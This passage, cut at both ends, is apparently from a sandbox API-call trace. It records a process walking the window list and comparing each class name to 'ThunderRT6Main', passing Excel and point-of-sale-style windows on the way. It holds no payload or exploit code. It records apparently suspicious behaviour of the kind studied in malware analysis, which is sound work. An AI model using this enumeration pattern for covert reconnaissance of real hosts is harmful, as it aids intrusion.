returned 1 [0148.100] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.100] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0148.100] GetClassNameA (in: hWnd=0x10078, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0148.101] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0148.101] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.101] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0148.101] GetClassNameA (in: hWnd=0x10056, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0148.101] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0148.101] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.101] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0148.101] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.101] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.101] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.101] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0148.101] GetClassNameA (in: hWnd=0x10058, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0148.101] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0148.101] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.101] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0148.101] GetClassNameA (in: hWnd=0x10050, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0148.101] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0148.101] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.101] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0148.101] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0148.101] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0148.101] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0148.101] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0148.101] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0148.101] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0148.101] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.101] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0148.101] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0148.102] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0148.102] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.102] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0148.102] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0148.102] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0148.102] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0148.102] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0148.102] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0148.102] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0148.102] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0148.102] GetClassNameA (in: hWnd=0x30154, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.102] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.102] GetWindowThreadProcessId (in: hWnd=0x30154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0148.102] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0148.102] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0148.102] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0148.102] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0148.102] GetClassNameA (in: hWnd=0x2029c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0148.102] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0148.102] GetWindowThreadProcessId (in: hWnd=0x2029c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0148.102] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0148.102] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0148.102] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0148.102] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0148.102] GetClassNameA (in: hWnd=0x2038a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0148.102] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0148.102] GetWindowThreadProcessId (in: hWnd=0x2038a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0148.102] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0148.102] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0148.102] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0148.102] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x140264 [0148.102] GetClassNameA (in: hWnd=0x140264, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0148.103] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0148.103] GetWindowThreadProcessId (in: hWnd=0x140264, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x930 [0148.103] GetWindow (hWnd=0x140264, uCmd=0x2) returned 0x400c0 [0148.103] GetClassNameA (in: hWnd=0x400c0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.103] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.103] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x930 [0148.103] GetWindow (hWnd=0x400c0, uCmd=0x2) returned 0x20360 [0148.103] GetClassNameA (in: hWnd=0x20360, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0148.103] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0148.103] GetWindowThreadProcessId (in: hWnd=0x20360, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0148.103] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0148.103] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0148.103] IsWindowEnabled (hWnd=0x20360) returned 0 [0148.103] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0148.103] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0148.103] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0148.103] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0148.103] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0148.103] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0148.103] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0148.103] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0148.103] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0148.103] GetClassNameA (in: hWnd=0x10350, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0148.103] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0148.103] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0148.103] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0148.103] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0148.103] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0148.104] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0148.104] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0148.104] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0148.104] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0148.104] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0148.104] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0148.104] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0148.104] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0148.104] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0148.104] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0148.104] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0148.104] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0148.104] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0148.104] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0148.104] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0148.104] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0148.104] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0148.104] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0148.104] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0148.104] GetClassNameA (in: hWnd=0x10270, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0148.104] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0148.104] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0148.104] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0148.104] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0148.104] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0148.104] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0148.104] GetClassNameA (in: hWnd=0x30152, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0148.104] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0148.104] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbc8 [0148.104] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0148.104] GetClassNameA (in: hWnd=0x3018c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0148.105] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0148.105] GetWindowThreadProcessId (in: hWnd=0x3018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0148.105] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0148.105] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0148.105] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0148.105] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0148.105] GetClassNameA (in: hWnd=0x900a0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0148.105] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0148.105] GetWindowThreadProcessId (in: hWnd=0x900a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.105] GetWindow (hWnd=0x900a0, uCmd=0x2) returned 0x10262 [0148.105] GetClassNameA (in: hWnd=0x10262, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.105] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.105] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0148.105] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10260 [0148.105] GetClassNameA (in: hWnd=0x10260, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Waiting_window") returned 14 [0148.105] lstrcmpA (lpString1="Waiting_window", lpString2="ThunderRT6Main") returned 1 [0148.105] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0148.105] GetWindow (hWnd=0x10260, uCmd=0x2) returned 0x202bc [0148.105] GetClassNameA (in: hWnd=0x202bc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0148.105] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0148.105] GetWindowThreadProcessId (in: hWnd=0x202bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0148.105] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0148.105] GetWindow (hWnd=0x202bc, uCmd=0x2) returned 0x10292 [0148.105] GetClassNameA (in: hWnd=0x10292, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0148.105] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0148.105] GetWindowThreadProcessId (in: hWnd=0x10292, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0148.105] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0148.105] GetWindow (hWnd=0x10292, uCmd=0x2) returned 0x300e6 [0148.105] GetClassNameA (in: hWnd=0x300e6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0148.105] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0148.105] GetWindowThreadProcessId (in: hWnd=0x300e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.106] GetWindow (hWnd=0x300e6, uCmd=0x2) returned 0x300be [0148.106] GetClassNameA (in: hWnd=0x300be, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0148.106] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0148.106] GetWindowThreadProcessId (in: hWnd=0x300be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.106] GetWindow (hWnd=0x300be, uCmd=0x2) returned 0x300e4 [0148.106] GetClassNameA (in: hWnd=0x300e4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0148.106] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0148.106] GetWindowThreadProcessId (in: hWnd=0x300e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.106] GetWindow (hWnd=0x300e4, uCmd=0x2) returned 0x300ca [0148.106] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0148.106] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0148.106] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.106] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x300d4 [0148.106] GetClassNameA (in: hWnd=0x300d4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0148.106] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0148.106] GetWindowThreadProcessId (in: hWnd=0x300d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.106] GetWindow (hWnd=0x300d4, uCmd=0x2) returned 0x400b4 [0148.106] GetClassNameA (in: hWnd=0x400b4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0148.106] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0148.106] GetWindowThreadProcessId (in: hWnd=0x400b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.106] GetWindow (hWnd=0x400b4, uCmd=0x2) returned 0x300cc [0148.106] GetClassNameA (in: hWnd=0x300cc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0148.106] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0148.106] GetWindowThreadProcessId (in: hWnd=0x300cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.106] GetWindow (hWnd=0x300cc, uCmd=0x2) returned 0x1025e [0148.106] GetClassNameA (in: hWnd=0x1025e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.106] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.107] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0148.107] GetWindow (hWnd=0x1025e, uCmd=0x2) returned 0x1025c [0148.107] GetClassNameA (in: hWnd=0x1025c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Makers_genius_roles_app") returned 23 [0148.107] lstrcmpA (lpString1="Makers_genius_roles_app", lpString2="ThunderRT6Main") returned -1 [0148.107] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0148.107] GetWindow (hWnd=0x1025c, uCmd=0x2) returned 0x10258 [0148.107] GetClassNameA (in: hWnd=0x10258, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="utg2_wnd") returned 8 [0148.107] lstrcmpA (lpString1="utg2_wnd", lpString2="ThunderRT6Main") returned 1 [0148.107] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0148.107] GetWindow (hWnd=0x10258, uCmd=0x2) returned 0x1025a [0148.107] GetClassNameA (in: hWnd=0x1025a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.107] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.107] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0148.107] GetWindow (hWnd=0x1025a, uCmd=0x2) returned 0x10254 [0148.107] GetClassNameA (in: hWnd=0x10254, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="spgagentserviceclass") returned 20 [0148.107] lstrcmpA (lpString1="spgagentserviceclass", lpString2="ThunderRT6Main") returned -1 [0148.107] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0148.107] GetWindow (hWnd=0x10254, uCmd=0x2) returned 0x10256 [0148.107] GetClassNameA (in: hWnd=0x10256, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.107] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.107] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0148.107] GetWindow (hWnd=0x10256, uCmd=0x2) returned 0x20250 [0148.107] GetClassNameA (in: hWnd=0x20250, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="spcwinwnd") returned 9 [0148.107] lstrcmpA (lpString1="spcwinwnd", lpString2="ThunderRT6Main") returned -1 [0148.107] GetWindowThreadProcessId (in: hWnd=0x20250, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0148.107] GetWindow (hWnd=0x20250, uCmd=0x2) returned 0x10252 [0148.107] GetClassNameA (in: hWnd=0x10252, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.107] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.108] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0148.108] GetWindow (hWnd=0x10252, uCmd=0x2) returned 0x1024c [0148.108] GetClassNameA (in: hWnd=0x1024c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="omniposcls") returned 10 [0148.108] lstrcmpA (lpString1="omniposcls", lpString2="ThunderRT6Main") returned -1 [0148.108] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0148.108] GetWindow (hWnd=0x1024c, uCmd=0x2) returned 0x1024e [0148.108] GetClassNameA (in: hWnd=0x1024e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.108] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.108] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0148.108] GetWindow (hWnd=0x1024e, uCmd=0x2) returned 0x10248 [0148.108] GetClassNameA (in: hWnd=0x10248, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="mxslipstream") returned 12 [0148.108] lstrcmpA (lpString1="mxslipstream", lpString2="ThunderRT6Main") returned -1 [0148.108] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0148.108] GetWindow (hWnd=0x10248, uCmd=0x2) returned 0x1024a [0148.108] GetClassNameA (in: hWnd=0x1024a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.108] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.108] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0148.108] GetWindow (hWnd=0x1024a, uCmd=0x2) returned 0x10244 [0148.108] GetClassNameA (in: hWnd=0x10244, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="isspos_wnd") returned 10 [0148.108] lstrcmpA (lpString1="isspos_wnd", lpString2="ThunderRT6Main") returned -1 [0148.108] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0148.108] GetWindow (hWnd=0x10244, uCmd=0x2) returned 0x10246 [0148.108] GetClassNameA (in: hWnd=0x10246, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.108] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.108] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0148.108] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x10240 [0148.108] GetClassNameA (in: hWnd=0x10240, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="fposwin") returned 7 [0148.109] lstrcmpA (lpString1="fposwin", lpString2="ThunderRT6Main") returned -1 [0148.109] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0148.109] GetWindow (hWnd=0x10240, uCmd=0x2) returned 0x10242 [0148.109] GetClassNameA (in: hWnd=0x10242, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.109] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.109] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0148.109] GetWindow (hWnd=0x10242, uCmd=0x2) returned 0x1023c [0148.109] GetClassNameA (in: hWnd=0x1023c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="edcsvr_class") returned 12 [0148.109] lstrcmpA (lpString1="edcsvr_class", lpString2="ThunderRT6Main") returned -1 [0148.109] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0148.109] GetWindow (hWnd=0x1023c, uCmd=0x2) returned 0x1023e [0148.109] GetClassNameA (in: hWnd=0x1023e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.109] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.109] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0148.109] GetWindow (hWnd=0x1023e, uCmd=0x2) returned 0x10238 [0148.109] GetClassNameA (in: hWnd=0x10238, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="creditservice_wnd") returned 17 [0148.109] lstrcmpA (lpString1="creditservice_wnd", lpString2="ThunderRT6Main") returned -1 [0148.109] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0148.109] GetWindow (hWnd=0x10238, uCmd=0x2) returned 0x1023a [0148.109] GetClassNameA (in: hWnd=0x1023a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.109] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.109] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0148.109] GetWindow (hWnd=0x1023a, uCmd=0x2) returned 0x10234 [0148.109] GetClassNameA (in: hWnd=0x10234, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="centralcreditcardwindow") returned 23 [0148.109] lstrcmpA (lpString1="centralcreditcardwindow", lpString2="ThunderRT6Main") returned -1 [0148.109] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0148.109] GetWindow (hWnd=0x10234, uCmd=0x2) returned 0x10236 [0148.109] GetClassNameA (in: hWnd=0x10236, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.110] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.110] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0148.110] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x10230 [0148.110] GetClassNameA (in: hWnd=0x10230, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ccv_server_cls") returned 14 [0148.110] lstrcmpA (lpString1="ccv_server_cls", lpString2="ThunderRT6Main") returned -1 [0148.110] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0148.110] GetWindow (hWnd=0x10230, uCmd=0x2) returned 0x10232 [0148.110] GetClassNameA (in: hWnd=0x10232, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.110] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.110] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 